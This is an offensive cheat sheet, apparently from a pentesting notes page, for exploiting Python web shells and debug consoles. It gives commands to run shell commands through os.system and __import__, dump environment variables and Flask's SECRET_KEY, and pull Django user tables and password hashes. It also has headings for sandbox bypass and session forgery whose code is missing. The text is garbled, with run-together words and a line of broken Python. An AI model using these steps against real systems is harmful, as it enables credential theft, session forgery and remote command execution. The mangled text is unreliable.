Exploiting Python Web Shells
Enumerate the environment
globals
print(globals().keys())
print(sorted(list(globals().keys())))
print(globals())If
osorsubprocessare available, try to run commands directly
os.system("id")If not, try accessing it via
builtins
__import__('os').system("id")Check also environment variables
import os
print(os.environ)Check the attributes of what is available:
print(dir(User))locals
locals().keys()builtins
__builtins__.__dict__Identify Object Types
sessions
sessionsprint(type(session), session)print(session.__dict__)print(session._get_current_object())print(app.config)
print(app.config['SECRET_KEY'])db
dbprint(type(db), dir(db))dir(db)There is a
Django Admin Shell?
print(type(db))print(db.connection.cursor().execute("SELECT * FROM auth_user;").fetchall())print(db.connection.cursor().execute("SELECT name FROM sqlite_master WHERE type='table';").fetchall())If
dbisSQLAlchemy?
print(db.engine.url)If
queryandUserare available:
print(User.query.all())print('\n'.join(f"{u.username}:{u.password]}" for u in users))Bypass Sandbox
Pass modules as strings:
Works if builtins is accessible - common in debug consoles
Find usable classes - If __builtins__ is restricted
Using catch_warnings - Common in Python 3
subprocess.Popen - If os is Blocked
importlib Bypass - If import is Restricted
For Older Python sandboxes - Python 2.x, some 3.x
Exploit sessions
Stealing Flask Session Cookies
If
sessionis aLocalProxy, you can extract its real data.
If the secret key is exposed you can forge malicious sessions.
Modifying Django Sessions
Look for RCE
Use the subprocess.check_output() function instead to execute code and save it to a variable:
Last updated